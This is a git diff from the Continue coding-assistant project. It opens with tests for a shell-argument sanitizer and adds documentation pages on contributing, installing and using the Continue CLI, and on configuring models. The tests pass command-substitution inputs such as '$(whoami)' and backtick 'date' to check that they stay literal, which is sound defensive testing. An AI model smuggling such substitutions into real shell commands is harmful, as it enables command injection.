expect(result).toContain("$(whoami)"); + expect(result).toContain("`date`"); + expect(result).toContain("$HOME"); + }); + + it("should handle special characters safely", () => { + const special = 'test with spaces, quotes\', and "more"'; + const sanitized = sanitizeShellArgument(special); + + const result = safeExec(`echo ${sanitized}`); + + expect(result).toBe(special); + }); + + it("should handle empty string without errors", () => { + const sanitized = sanitizeShellArgument(""); + + // Should not throw when used in a command + expect(() => safeExec(`echo ${sanitized}`)).not.toThrow(); + }); + + it("should verify shell-quote properly escapes for git log format strings", () => { + // Another common use case: git log with custom format strings + const userInput = "Author: $(whoami) Date: `date`"; + const sanitized = sanitizeShellArgument(userInput); + + // Simulate: git log --format="%s: ${sanitized}" + // Using printf as a safer test substitute + const result = safeExec(`printf '%s' ${sanitized}`); + + // Should output the literal string, not execute substitutions + expect(result).toBe(userInput); + expect(result).toContain("$(whoami)"); + expect(result).toContain("`date`"); + }); +}); diff --git a/docs/CONTRIBUTING.mdx b/docs/CONTRIBUTING.mdx new file mode 100644 index 000000000..6a01562e2 --- /dev/null +++ b/docs/CONTRIBUTING.mdx @@ -0,0 +1,347 @@ +--- +title: "Contributing to Continue Documentation" +sidebarTitle: "Docs Contributions" +description: "Welcome to the Continue documentation! We're excited that you want to contribute. This guide will help you get started with our documentation workflow and tools." +--- + +## 🚀 Quick Start + +### Prerequisites + +1. **Node.js** (v20 or higher) +2. **Git** for version control +3. **GitHub CLI** - Install from [cli.github.com](https://cli.github.com/) + +### Setup Steps + +1. **Fork and clone the repository** + + ```bash + # Fork the repository (this will also clone it locally) + gh repo fork continuedev/continue + cd continue/docs + ``` + +2. **Install dependencies** + + ```bash + npm install + ``` + +3. **Start the local development server** + ```bash + npm run dev + ``` + Your docs will be available at `http://localhost:3000` + +## 💬 Creating Discussions and Issues + +Before creating any issues, we ask that you start with a GitHub Discussion. This helps us organize feedback and determine the best path forward. + +### Starting a Discussion + + + + Visit the [Continue GitHub Discussions](https://github.com/continuedev/continue/discussions) page. + + + + Select the **Docs** category for documentation improvements, corrections, or suggestions. + + + + + Include the following in your discussion: + - Clear description of the issue or suggestion + - Steps to reproduce (if applicable) + - Expected vs. actual behavior + - Screenshots or code examples when helpful + - Your environment (OS, IDE, Continue version) + + + +### Issue Escalation Process + + + + **Important**: All issues should start as discussions. The Continue team will determine if and when a discussion should be escalated to a GitHub issue. + + + +The Continue team will review discussions and may: +- Provide a solution or clarification directly in the discussion +- Ask for additional information or testing +- Convert the discussion to an issue if it requires code changes or is a confirmed bug +- Close the discussion if it's resolved or not actionable + +### When Discussions Become Issues + +A discussion will typically be converted to an issue when: +- A bug in the documentation is confirmed +- A new feature or significant documentation change is approved +- Community consensus supports the proposed change +- Technical implementation is required + +## 🤖 AI-Powered Documentation with Continue + +We strongly encourage using Continue's AI assistance to maintain consistency and quality in our documentation. Here are three ways to set this up: + +### Option 1: Use the Pre-Built Documentation Agent (Recommended) + +The easiest way to get started is using our pre-configured documentation agent: + + + + Visit [the Docs Assistant - Mintlify in the Hub](https://hub.continue.dev/continuedev/docs-mintlify) and click "Install" to add it to your Continue setup. This agent comes pre-configured with all our documentation standards. + + + Learn more about Continue Configs in our [config documentation](/guides/understanding-configs). + + + + + + + ```bash + # Install the Continue CLI if you haven't already + npm install -g @continuedev/cli + + # Use the agent from the command line + cn "Create a new guide for using the Continue CLI with Linear" --config continuedev/docs-mintlify + ``` + + + + 1. Open Continue in your IDE + 2. Select the "Docs Assistant - Mintlify" agent from the model dropdown + 3. Ask it to help you create or edit documentation + + Example prompts: + - "Create a new guide for using the Continue CLI with Linear" + - "Update the getting-started guide with the new installation process" + - "Format this documentation according to Mintlify standards" + + + + + + + You can also remix this config to customize it for your specific needs. Learn how to create your own remix in our [remix config documentation](/hub/configs/create-a-config#how-to-remix-a-config). + + +### Option 2: Create Your Own Custom Agent + +If you want more control or customization, you can create your own documentation agent: + + + + Follow our [config creation guide](/hub/configs/create-a-config) to set up your own config. + + + + Install from Continue Hub: https://hub.continue.dev/continuedev/continue-docs-mcp + + This MCP provides context about Continue's documentation structure and standards. + + + + Install from Continue Hub: https://hub.continue.dev/mintlify/technical-writing-rule + + This rule ensures proper Mintlify component formatting. + + + + + + ```bash + # Install the Continue CLI if you haven't already + npm install -g @continuedev/cli + + # Use your agent from the command line + cn --config your-org/your-agent-name "Create a new guide for API authentication" + ``` + + + + 1. Open Continue in your IDE + 2. Select your custom agent from the model dropdown + 3. Ask it to help you create or edit documentation + + Example prompts: + - "Help me format this documentation according to Mintlify standards" + - "Create a troubleshooting section for this feature" + + + + + +## 📝 Documentation Standards + +### Mintlify Component Guidelines + +When using Mintlify components, follow these formatting rules: + +#### Cards and Info Boxes + +```mdx + + +Always include blank lines and proper indentation: + +- Use 2-space indentation +- Add blank lines after opening tags +- Format lists as bullet points + + +``` + +#### Warning and Note Components + +```mdx + + +Important information should be formatted clearly: + +- Each point on its own line +- Consistent indentation +- Clear, concise language + + +``` + +### Writing Style + +1. **Be concise**: Get to the point quickly +2. **Use examples**: Show, don't just tell +3. **Include code blocks**: Provide working examples +4. **Add visuals**: Screenshots and diagrams help understanding +5. **Test your changes**: Ensure all links and code examples work + + +If you are creating a new guide, please test the steps yourself to ensure accuracy. + + +## 🔧 Common Tasks + +### Adding a New Guide + +1. Create a new `.mdx` file in the guides directory +2. Add frontmatter: + ```mdx + --- + title: "Your Guide Title" + description: "Brief description of what this guide covers" + --- + ``` +3. Use the Continue agent to help format your content +4. Update `docs.json` to include your new page in the navigation + + +We have both guides and cookbooks. Use guides for step-by-step instructions and cookbooks for creating agents for the CLI. + + +### Updating Existing Documentation + +1. Use the Continue agent with prompts like: + - "Update the installation guide with the new npm package" + - "Add a troubleshooting section for connection issues" +2. The agent will maintain consistent formatting automatically + +### Adding Code Examples + +Use language-specific code blocks: + +````mdx +```typescript +// Your TypeScript code here +const example = "Hello, Continue!"; +``` +```` + +## 🐛 Testing Your Changes + +1. **Local preview**: In the docs directory, run `npm run dev` and check your changes +2. **Link validation**: Ensure all internal and external links work +3. **Format check**: Use the Continue agent to validate Mintlify formatting +4. **Build test**: Run `npm run build` to ensure no build errors + +## 📤 Submitting Your Contribution + +1. **Create a feature branch** + + ```bash + git checkout -b docs/your-feature-name + ``` + +2. **Commit your changes** + + ```bash + git add . + git commit -m "docs: describe your changes" + ``` + +3. **Push and create a Pull Request** + + ```bash + # Push to your fork and create a PR + git push origin docs/your-feature-name + gh pr create --web + ``` + + + + The `gh pr create` command will automatically: + - Push your branch to your fork + - Create a pull request to the main repository + - Allow you to add a title, description, and reference issues + - Open the PR in your browser if using `--web` + + + +### Linking Your PR to Issues + + + +**Important**: When your PR addresses a specific issue, make sure to link it using GitHub keywords. + + + +To automatically link your PR to an issue and close it when the PR is merged, use one of these keywords in your PR description: + +- `closes #issue_number` +- `fixes #issue_number` +- `resolves #issue_number` + +**Example PR description:** +```markdown +Improved the installation guide with clearer steps for Windows users. + +Closes #1234 +``` + +This helps us track which issues are being worked on and automatically closes them when your PR is merged. + + + +Learn more about linking PRs to issues in the [GitHub documentation](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/using-keywords-in-issues-and-pull-requests). + + + +## 💡 Tips for Success + +- **Use the Continue agent**: It knows our documentation standards and will save you time +- **Preview frequently**: Check your changes in the local dev server +- **Ask questions**: Open an issue or discussion if you need clarification +- **Small PRs are better**: Focus on one topic or fix per PR +- **Update examples**: Ensure code examples reflect the latest API + + +## 🆘 Getting Help + +- **Start a Discussion**: Use [GitHub Discussions](https://github.com/continuedev/continue/discussions) for documentation issues, suggestions, or questions +- **Continue agent questions**: Check the [Continue Hub page](https://hub.continue.dev/continuedev/docs-mintlify) +- **Discord community**: Join our Discord for real-time help +- **Existing docs**: Review similar pages for formatting examples +--- + +Thank you for contributing to Continue! Your efforts help make our documentation better for everyone. To learn more about contibuting to other parts of the project, check out our [main CONTRIBUTING guide](https://github.com/continuedev/continue/blob/main/CONTRIBUTING.md) 🎉 diff --git a/docs/chat/how-to-use-it.mdx b/docs/chat/how-to-use-it.mdx index 94257fdb7..b66359879 100644 --- a/docs/chat/how-to-use-it.mdx +++ b/docs/chat/how-to-use-it.mdx @@ -1,8 +1,8 @@ --- title: "Chat" -sidebarTitle: "How To Use AI Chat" +sidebarTitle: "How To Use Chat Mode" icon: "circle-question" -description: "Learn how to use Continue's AI chat agent to solve coding problems without leaving your IDE, including code context sharing, applying generated solutions, and switching between models" +description: "Learn how to use Continue's Chat mode to solve coding problems without leaving your IDE, including code context sharing, applying generated solutions, and switching between models" --- @@ -25,7 +25,7 @@ You select a code section with your mouse, press `cmd/ctrl` + `L` (VS Code) or ` ## Use @ to Include Project Context in AI Chat Responses -If there is information from the codebase, documentation, IDE, or other tools that you want to include as context, you can type @ to select and include it as context. You can learn more about how to use this in [Chat context selection](/features/chat/quick-start#how-to-use-%40-for-additional-context). +If there is information from the codebase, documentation, IDE, or other tools that you want to include as context, you can type @ to select and include it as context. You can learn more about how to use this in [Chat context selection](/ide-extensions/chat/quick-start#how-to-use--for-additional-context). ## Insert AI-Generated Code Changes Directly into Your File @@ -37,4 +37,4 @@ Once you complete a task and want to start a new one, press `cmd/ctrl` + `L` (VS ## Change AI Models in Continue Chat for Different Coding Needs -If you have configured multiple models, you can switch between models using the dropdown or by pressing `cmd/ctrl` + `’` +If you have configured multiple models, you can switch between models using the dropdown or by pressing `cmd/ctrl` + `’` \ No newline at end of file diff --git a/docs/cli/guides.mdx b/docs/cli/guides.mdx new file mode 100644 index 000000000..89e96b566 --- /dev/null +++ b/docs/cli/guides.mdx @@ -0,0 +1,4 @@ +--- +title: "Guides" +url: "/guides/overview#mcp-integration-cookbooks" +--- \ No newline at end of file diff --git a/docs/cli/install.mdx b/docs/cli/install.mdx new file mode 100644 index 000000000..9f0df0997 --- /dev/null +++ b/docs/cli/install.mdx @@ -0,0 +1,144 @@ +--- +title: "Install Continue CLI" +description: "Get Continue CLI installed and configured for command-line AI coding assistance and automation" +sidebarTitle: "Install" +--- + + + + + Make sure you have [Node.js 18 or higher + installed](https://nodejs.org/en/download/). + + +## Installation + +Install Continue CLI globally using npm: + +```bash +npm i -g @continuedev/cli +``` + +## Two Ways to Use Continue CLI + + + **Quick Overview**: Continue CLI works in two modes - TUI for interactive + conversations or headless for automated commands. + + + + +**Interactive development sessions** + +Start a conversation with AI in your terminal: + +```bash +cn +> @src/app.js Generate unit tests for this component +``` + +Perfect for exploration, debugging, and iterative development. + + + + +**Automation and scripting** + +Single commands that return results: + +```bash +cn -p "Generate a commit message for current changes" +cn -p "Review the last 5 commits for issues" +``` + +Perfect for CI/CD, git hooks, and automated workflows. + + + + +## Setup + + + + +For interactive development and exploration: + + + +```bash +cn login +``` +This will open your browser to authenticate with Continue Hub. + + + +Start an interactive session: +```bash +cn +``` + +Try asking a question: + +``` +> Tell me about the CLI +``` + + + + + + +For automation workflows and scripting: + + + +For automation workflows, get an API key: +1. Visit [Continue Hub API Keys](https://hub.continue.dev/settings/api-keys) +2. Click **"+ New API Key"** +3. Copy the API key immediately (you won't see it again!) +4. Login using your Continue account + + + +Store secure credentials for CLI workflows: +1. Visit [Continue Hub Secrets](https://hub.continue.dev/settings/secrets) +2. Add your API keys and sensitive data +3. Reference in configurations with `${{ secrets.SECRET_NAME }}` + + + +Try headless mode for automation: +```bash +cn -p "Generate a conventional commit message for the current git changes" +``` + + + + + +## What's Next? + + + + Learn basic usage with practical examples + + + + Build automated workflows with Continue CLI + + + +## Getting Help + +If you encounter issues: + +- Ask for help in [our discussions](https://github.com/continuedev/continue/discussions) +- Report bugs on [GitHub](https://github.com/continuedev/continue) diff --git a/docs/cli/overview.mdx b/docs/cli/overview.mdx new file mode 100644 index 000000000..f0b56c642 --- /dev/null +++ b/docs/cli/overview.mdx @@ -0,0 +1,243 @@ +--- +title: "Continue CLI (cn) Overview" +description: "Command-line interface for automated coding tasks, scripting, and headless development workflows with Continue's AI coding capabilities" +sidebarTitle: "Overview" +--- + + + + + +**Continue enables developers to ship faster with Continuous AI.** + + + Build features from descriptions. Debug and fix issues. Navigate any codebase. + Automate tedious tasks. + + +## Get started in 30 seconds + +Prerequisites: + +- [Node.js 18 or newer](https://nodejs.org/en/download/) +- A [Continue Hub](https://hub.continue.dev) account (recommended) or local configuration + +```bash npm +# Install Continue CLI +npm install -g @continuedev/cli + +# Navigate to your project + +cd your-awesome-project + +# Start coding with Continue + +cn + +# You'll be prompted to set up on first use + +``` + +That's it! You're ready to start automating with Continue CLI. + +[Continue with CLI Quickstart →](/cli/quick-start) + +## Two Ways to Use Continue CLI + +Continue CLI offers two distinct modes designed for different workflows: + +### TUI Mode: Interactive Development + +**Perfect for exploration, debugging, and iterating on AI workflows** + +```bash +cn +> @src/components/UserProfile.js Review this component for security issues +> Generate comprehensive unit tests +> Suggest performance improvements +``` + +- **Interactive conversations** with your codebase +- **Iterate and refine** prompts and approaches +- **Explore and understand** complex codebases +- **Perfect for experimentation** and learning + +### Headless Mode: Production Automation + +**Perfect for CI/CD, automation, and reliable workflows** + +```bash +cn -p "Generate a conventional commit message for staged changes" +cn -p "Review pull request changes for security vulnerabilities" +cn -p "Update documentation based on recent code changes" +``` + +- **Single-command execution** for automation +- **Reliable, repeatable results** for production use +- **CI/CD and pipeline integration** +- **Git hooks and automated workflows** + + + **Tool Permissions in TUI vs Headless Mode** + + Continue CLI tools have three permission levels: + - **allow**: Executes automatically without confirmation + - **ask**: Prompts for user confirmation before execution (e.g., `writeFile`, `runTerminalCommand`) + - **exclude**: Tool is not available to the AI + + **In headless mode**, tools with "ask" permission are automatically excluded to prevent the AI from seeing tools it cannot call. This ensures reliable automation without user intervention. + + **In TUI mode**, tools with "ask" permission are available and will prompt for confirmation when the AI attempts to use them. + + 💡 **Tip**: If your workflow requires tools that need confirmation (like file writes or terminal commands), use TUI mode. For fully automated workflows with read-only operations, use headless mode. + + +### Development Workflow: TUI → Headless + + + **Pro Tip**: Start in TUI mode to iterate on your AI agent. Once + you have a workflow that works reliably, deploy it as a Continuous AI + automation. + + +1. **Experiment in TUI mode** to perfect your agent +2. **Test different approaches** interactively until you get consistent results +3. **Convert successful workflows** to automated Continuous AI commands +4. **Deploy in production** with confidence in your proven approach + +## Why developers love Continue CLI + +- **Works in your terminal**: Not another chat window. Not another IDE. Continue CLI meets you where you already work, with the tools you already love. +- **Takes action**: Continue CLI can directly edit files, run commands, and create commits. Need more? Check out our [MCPs](/customize/deep-dives/mcp). +- **Automate tasks**: Create issues from PostHog data, automatically assign labels to issues, and more. Do all this in a single command from your developer machines, or automatically in CI. +- **Flexible development flow**: Start interactive, then automate proven workflows. + +## Key Capabilities + +### Context Engineering + +- Use `@` to reference files and provide context +- Use `/` to run slash commands for specific tasks +- Access the same context providers as IDE extensions + +### Tool Integration + +- File editing and creation +- Terminal command execution +- Codebase understanding and analysis +- Git integration +- Web search and documentation access + +### Model Flexibility + +- Switch between models with `/model` command +- Use any model configured in your `config.yaml` +- Access Continue Hub models and configurations + +## Continue Hub Integration + +Continue CLI integrates seamlessly with [Continue Hub](https://hub.continue.dev) for: + +### API Access + +Get an API key for automation workflows: + +1. Visit [Continue Hub API Keys](https://hub.continue.dev/settings/api-keys) +2. Create a new API key +3. Use with `cn login` or in your automation scripts + +### Secrets Management + +Store secure credentials for CLI workflows: + +1. Visit [Continue Hub Secrets](https://hub.continue.dev/settings/secrets) +2. Add your API keys and sensitive data +3. Reference in configurations with `${{ secrets.SECRET_NAME }}` + +### Configuration Sync + +- Cloud-managed configurations automatically sync +- Share configurations across team members +- Version control for your AI workflows + +## Common Use Cases + +### TUI Mode Examples + +**Interactive development and exploration:** + + +```bash Codebase Exploration +# Start interactive session +cn +> @src/components Find all unused React components +> /explain How does authentication work in this codebase? +> @auth/ What security patterns are used here? +``` + +```bash Iterative Debugging +# Debug issues interactively +cn +> @tests/auth.test.js This test is failing, help me understand why +> @src/auth/middleware.js Let's examine this middleware +> /debug What could be causing the timeout error? +``` + +```bash Workflow Development +# Develop and test automation workflows +cn +> @package.json @CHANGELOG.md Generate a release notes template +> # Test and refine the approach +> # Once working, convert to: cn -p "Generate release notes" +``` + + + +### Headless Mode Examples + +**Production automation and scripting:** + + +```bash Git Automation +# Generate commit messages +cn -p "Generate a conventional commit message for the current changes" + +# Code review automation + +cn -p "Review the current git changes for bugs and suggest improvements" + +```` + +```bash CI/CD Integration +# In your pipeline scripts +cn -p "Analyze test failures and suggest fixes" + +# Automated documentation updates +cn -p "@README.md Update this documentation based on recent changes" +```` + +```bash Issue Management +# Create GitHub issues from PostHog data +cn -p "@posthog-data.json Create GitHub issues for UX problems found in this session data" + +# Automated security audits +cn -p "Scan the codebase for potential security vulnerabilities" +``` + + + +## Next steps + + + + Learn basic commands and common workflows + + + + Install Continue CLI and set up your environment + + + + Task-specific tutorials and examples + + diff --git a/docs/cli/quick-start.mdx b/docs/cli/quick-start.mdx new file mode 100644 index 000000000..c663af1f1 --- /dev/null +++ b/docs/cli/quick-start.mdx @@ -0,0 +1,186 @@ +--- +title: "Continue CLI Quick Start" +description: "Get hands-on experience with Continue CLI through practical examples and common use cases" +sidebarTitle: "Quick Start" +--- + +Get hands-on experience with Continue CLI through practical development workflows. + + + + TUI Mode (`cn` command) is for **large development tasks** that require + agentic workflows with human oversight. Perfect for complex refactors, + feature implementation, or one-off automation tasks that need monitoring and + iteration. + + + Headless Mode (`-p` flag) is for **reliable, repeatable tasks** that no + longer need constant supervision. Perfect for CI/CD pipelines, git hooks, + and automated workflows you've already tested and refined. + + + +## TUI Mode: Large Development Tasks + +Make sure you have [Continue CLI installed](/cli/install) and are in a project directory. + +### Example: Implementing a New Feature + +```bash +# Navigate to your project directory +cd your-awesome-project + +# Start TUI Mode for complex development work +cn +``` + +**Example workflow for adding authentication:** + +``` +> I need to add JWT authentication to this Express app. Let me start by showing you the current structure. + +> @src/app.js @package.json Here's my current setup. Can you implement JWT auth with middleware, login/register routes, and user model? + +> [Agent analyzes codebase and implements auth system] +> [You review changes, test, and provide feedback] +> [Agent iterates based on your input until the feature is complete] +``` + +### Example: Complex Refactoring + +```bash +cn +``` + +**Refactoring a monolithic component:** + +``` +> @src/components/Dashboard.jsx This component is 800 lines and does too much. Help me break it into smaller, reusable components. + +> [Agent analyzes component structure] +> [Proposes component breakdown strategy] +> [You approve approach] +> [Agent implements the refactor with proper props and state management] +> [You test and request adjustments] +``` + +### When to Use TUI Mode + +✅ **Large development tasks** that need oversight +✅ **Complex refactors** requiring multiple steps +✅ **New feature implementation** with unknowns +✅ **One-off automation tasks** you haven't done before +✅ **Debugging complex issues** that need exploration + +## Headless Mode: Automated Workflows + +Once you've refined a workflow in TUI Mode, convert it to Continuous AI for automation. + +### Example: From REPL → Continuous AI + +**Step 1: Develop in TUI Mode** + +```bash +cn +> @package.json @CHANGELOG.md Generate release notes for version 2.1.0 +> [Test and refine the prompt until it works perfectly] +``` + +**Step 2: Convert to Continuous AI** + +```bash +# Now use the refined workflow in automation +cn -p "Generate release notes for the current version based on package.json and recent commits" +``` + +### Common Continuous AI Workflows + +```bash +# Git automation +cn -p "Generate a conventional commit message for staged changes" +cn -p "Review the last 3 commits for potential issues" + +# Code quality +cn -p "Fix all TypeScript errors in the src/ directory" +cn -p "Update outdated dependencies and fix breaking changes" + +# Documentation +cn -p "@README.md Update documentation based on recent changes" +cn -p "Generate API documentation from JSDoc comments" + +# CI/CD integration +cn -p "Analyze test failures and create GitHub issue with findings" +cn -p "Update version numbers and create release branch" +``` + +### When to Use Headless Mode + +✅ **Proven workflows** you've tested in TUI Mode +✅ **Repetitive tasks** that no longer need oversight +✅ **CI/CD automation** in pipelines +✅ **Git hooks** for automated checks +✅ **Scheduled tasks** that run unattended + + + **Tool Permission Differences Between Modes** + + Tools requiring user confirmation ("ask" permission) like `writeFile` and `runTerminalCommand` are: + - **Available in TUI mode** - AI can use them with your approval + - **Excluded in headless mode** - AI cannot see or call them + + This prevents the AI from attempting operations that require user interaction when running in automated environments. Choose TUI mode if your workflow needs tools that modify files or run commands. + + +### Available Slash Commands + +Common slash commands available in CLI: + +- `/clear` - Clear the chat history +- `/compact` - Summarize chat history into a compact form +- `/config` - Switch configuration or organization +- `/exit` - Exit the chat +- `/fork` - Start a forked chat session from the current history +- `/help` - Show help message +- `/info` - Show session information +- `/init` - Create an AGENTS.md file +- `/login` - Authenticate with your account +- `/logout` - Sign out of your current session +- `/mcp` - Manage MCP server connections +- `/model` - Switch between available chat models +- `/resume` - Resume a previous chat session +- `/whoami` - Check who you're currently logged in as + +Use `/help` to see all available commands. + +## The Development Workflow + + + **Recommended Approach**: Start complex tasks in TUI Mode to iterate and + refine your approach. Once you have a reliable workflow, convert it to + Headless Mode for automation. + + +### Workflow Pattern + +1. **🔬 Experiment in TUI Mode** + + - Try complex development tasks with human oversight + - Iterate on prompts and approaches until they work reliably + - Test edge cases and refine the agent's behavior + +2. **⚡ Automate with Continuous AI** + - Convert proven REPL workflows to single commands + - Deploy in CI/CD, git hooks, or scheduled tasks + - Run with confidence knowing the approach is tested + +## Next Steps + + + + Build an automated PostHog to GitHub issues workflow + + + + Learn to build and deploy AI-powered development workflows + + diff --git a/docs/customization/models.mdx b/docs/customization/models.mdx index 779cf0f07..7c9fd9f44 100644 --- a/docs/customization/models.mdx +++ b/docs/customization/models.mdx @@ -33,97 +33,101 @@ Read more about [model roles](/customize/model-roles), [model capabilities](/cus [Claude 4 Sonnet](https://hub.continue.dev/anthropic/claude-4-sonnet) from Anthropic 1. Get your API key from [Anthropic](https://console.anthropic.com/) -2. Add [Claude 4 Sonnet](https://hub.continue.dev/anthropic/claude-4-sonnet) to an agent on Continue Hub +2. Add [Claude 4 Sonnet](https://hub.continue.dev/anthropic/claude-4-sonnet) to a config on Continue Hub 3. Add `ANTHROPIC_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets) -4. Click `Reload config` in the agent selector in the Continue IDE extension +4. Click `Reload config` in the config selector in the Continue IDE extension [Qwen Coder 3 480B](https://hub.continue.dev/openrouter/qwen3-coder) from Qwen 1. Get your API key from [OpenRouter](https://openrouter.ai/settings/keys) -2. Add [Qwen Coder 3 480B](https://hub.continue.dev/openrouter/qwen3-coder) to an agent on Continue Hub +2. Add [Qwen Coder 3 480B](https://hub.continue.dev/openrouter/qwen3-coder) a config on Continue Hub 3. Add `OPENROUTER_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets) -4. Click `Reload config` in the agent selector in the Continue IDE extension +4. Click `Reload config` in the config selector in the Continue IDE extension [GPT-5](https://hub.continue.dev/openai/gpt-5) from OpenAI 1. Get your API key from [OpenAI](https://platform.openai.com) -2. Add [GPT-5](https://hub.continue.dev/openai/gpt-5) to an agent on Continue Hub +2. Add [GPT-5](https://hub.continue.dev/openai/gpt-5) a config on Continue Hub 3. Add `OPENAI_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets) -4. Click `Reload config` in the agent selector in the Continue IDE extension +4. Click `Reload config` in the config selector in the Continue IDE extension [Kimi K2](https://hub.continue.dev/openrouter/kimi-k2) from Moonshot AI 1. Get your API key from [OpenRouter](https://openrouter.ai/settings/keys) -2. Add [Kimi K2](https://hub.continue.dev/openrouter/kimi-k2) to an agent on Continue Hub +2. Add [Kimi K2](https://hub.continue.dev/openrouter/kimi-k2) a config on Continue Hub 3. Add `OPENROUTER_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets) -4. Click `Reload config` in the agent selector in the Continue IDE extension +4. Click `Reload config` in the config selector in the Continue IDE extension [Gemini 2.5 Pro](https://hub.continue.dev/google/gemini-2.5-pro) from Google 1. Get your API key from [Google AI Studio](https://aistudio.google.com) -2. Add [Gemini 2.5 Pro](https://hub.continue.dev/google/gemini-2.5-pro) to an agent on Continue Hub +2. Add [Gemini 2.5 Pro](https://hub.continue.dev/google/gemini-2.5-pro) a config on Continue Hub 3. Add `GEMINI_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets) -4. Click `Reload config` in the agent selector in the Continue IDE extension +4. Click `Reload config` in the config selector in the Continue IDE extension -[Grok 4](https://hub.continue.dev/xai/grok-4) from xAI +[Grok Code Fast 1](https://hub.continue.dev/xai/grok-code-fast-1) from xAI 1. Get your API key from [xAI](https://console.x.ai/) -2. Add [Grok 4](https://hub.continue.dev/xai/grok-4) to an agent on Continue Hub +2. Add [Grok Code Fast 1](https://hub.continue.dev/xai/grok-code-fast-1) a config on Continue Hub 3. Add `XAI_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets) -4. Click `Reload config` in the agent selector in the Continue IDE extension +4. Click `Reload config` in the config selector in the Continue IDE extension [Devstral Medium](https://hub.continue.dev/mistral/devstral-medium) from Mistral AI 1. Get your API key from [Mistral AI](https://console.mistral.ai/) -2. Add [Devstral Medium](https://hub.continue.dev/mistral/devstral-medium) to an agent on Continue Hub +2. Add [Devstral Medium](https://hub.continue.dev/mistral/devstral-medium) a config on Continue Hub 3. Add `MISTRAL_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets) -4. Click `Reload config` in the agent selector in the Continue IDE extension +4. Click `Reload config` in the config selector in the Continue IDE extension [gpt-oss-120b](https://hub.continue.dev/openrouter/gpt-oss-120b) from OpenAI 1. Get your API key from [OpenRouter](https://openrouter.ai/settings/keys) -2. Add [gpt-oss-120b](https://hub.continue.dev/openrouter/gpt-oss-120b) to an agent on Continue Hub +2. Add [gpt-oss-120b](https://hub.continue.dev/openrouter/gpt-oss-120b) a config on Continue Hub 3. Add `OPENROUTER_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets) -4. Click `Reload config` in the agent selector in the Continue IDE extension +4. Click `Reload config` in the config selector in the Continue IDE extension ### Local Models + +Need a quick setup walkthrough? Check out [Using Ollama with Continue: A Developer's Guide](https://docs.continue.dev/guides/ollama-guide). + + These models can be run on your computer if you have enough VRAM. -Their limited tool calling and reasoning capabilities will make it challenging to use Agent mode. +Their limited tool calling and reasoning capabilities will make it challenging to use agent mode. [Qwen3 Coder 30B](https://hub.continue.dev/ollama/qwen3-coder-30b) -1. Add [Qwen3 Coder 30B](https://hub.continue.dev/ollama/qwen3-coder-30b) to an agent on Continue Hub +1. Add [Qwen3 Coder 30B](https://hub.continue.dev/ollama/qwen3-coder-30b) a config on Continue Hub 2. Run the model with [Ollama](https://docs.continue.dev/guides/ollama-guide#using-ollama-with-continue-a-developers-guide) -3. Click `Reload config` in the agent selector in the Continue IDE extension +3. Click `Reload config` in the config selector in the Continue IDE extension [gpt-oss-20b](https://hub.continue.dev/ollama/gpt-oss-20b) -1. Add [gpt-oss-20b](ttps://hub.continue.dev/ollama/gpt-oss-20b) to an agent on Continue Hub +1. Add [gpt-oss-20b](ttps://hub.continue.dev/ollama/gpt-oss-20b) a config on Continue Hub 2. Run the model with [Ollama](https://docs.continue.dev/guides/ollama-guide#using-ollama-with-continue-a-developers-guide) -3. Click `Reload config` in the agent selector in the Continue IDE extension +3. Click `Reload config` in the config selector in the Continue IDE extension [Devstral Small 27B](https://hub.continue.dev/ollama/devstral) -1. Add [Devstral Small](https://hub.continue.dev/ollama/devstral) to an agent on Continue Hub +1. Add [Devstral Small](https://hub.continue.dev/ollama/devstral) a config on Continue Hub 2. Run the model with [Ollama](https://docs.continue.dev/guides/ollama-guide#using-ollama-with-continue-a-developers-guide) -3. Click `Reload config` in the agent selector in the Continue IDE extension +3. Click `Reload config` in the config selector in the Continue IDE extension [Qwen2.5-Coder 7B](https://hub.continue.dev/ollama/qwen2.5-coder-7b) from Qwen -1. Add [Qwen2.5-Coder 7B](https://hub.continue.dev/ollama/qwen2.5-coder-7b) to an agent on Continue Hub +1. Add [Qwen2.5-Coder 7B](https://hub.continue.dev/ollama/qwen2.5-coder-7b) a config on Continue Hub 2. Run the model with [Ollama](https://docs.continue.dev/guides/ollama-guide#using-ollama-with-continue-a-developers-guide) -3. Click `Reload config` in the agent selector in the Continue IDE extension +3. Click `Reload config` in the config selector in the Continue IDE extension [Gemma 3 4B](https://hub.continue.dev/ollama/gemma3-4b) from Google -1. Add [Gemma 3 4B](https://hub.continue.dev/ollama/gemma3-4b) to an agent on Continue Hub +1. Add [Gemma 3 4B](https://hub.continue.dev/ollama/gemma3-4b) a config on Continue Hub 2. Run the model with [Ollama](https://docs.continue.dev/guides/ollama-guide#using-ollama-with-continue-a-developers-guide) -3. Click `Reload config` in the agent selector in the Continue IDE extension +3. Click `Reload config` in the config selector in the Continue IDE extension [Qwen2.5-Coder 1.5B](https://hub.continue.dev/ollama/qwen2.5-coder-1.5b) from Qwen -1. Add [Qwen2.5-Coder 1.5B](https://hub.continue.dev/ollama/qwen2.5-coder-1.5b) to an agent on Continue Hub +1. Add [Qwen2.5-Coder 1.5B](https://hub.continue.dev/ollama/qwen2.5-coder-1.5b) a config on Continue Hub 2. Run the model with [Ollama](https://docs.continue.dev/guides/ollama-guide#using-ollama-with-continue-a-developers-guide) -3. Click `Reload config` in the agent selector in the Continue IDE extension +3. Click `Reload config` in the config selector in the Continue IDE extension diff --git a/docs/customization/overview.mdx b/docs/customization/overview.mdx index edbeeee16..f920ddc43 100644 --- 